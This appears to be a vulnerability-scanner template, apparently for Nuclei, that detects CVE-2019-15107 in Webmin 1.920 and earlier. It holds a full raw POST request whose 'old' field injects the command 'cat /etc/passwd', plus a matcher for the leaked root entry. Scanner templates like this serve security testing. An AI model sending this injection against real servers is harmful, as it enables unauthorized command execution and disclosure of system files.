id: CVE-2019-15107

info:
  name: Webmin <= 1.920 Unauthenticated Remote Command Execution
  author: bp0lr
  severity: high
  description: An issue was discovered in Webmin <=1.920. The parameter old in password_change.cgi contains a command injection vulnerability.
  reference: https://pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html
  tags: cve,cve2019,webmin,rce

requests:
  - raw:  #
      - |
        POST /password_change.cgi HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: en-US,en;q=0.5
        Referer: https://{{Hostname}}/
        Content-Type: application/x-www-form-urlencoded
        Content-Length: 73
        Connection: close
        Upgrade-Insecure-Requests: 1

        user=rootxx&pam=&old=test|cat /etc/passwd&new1=test2&new2=test2&expired=2

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0:"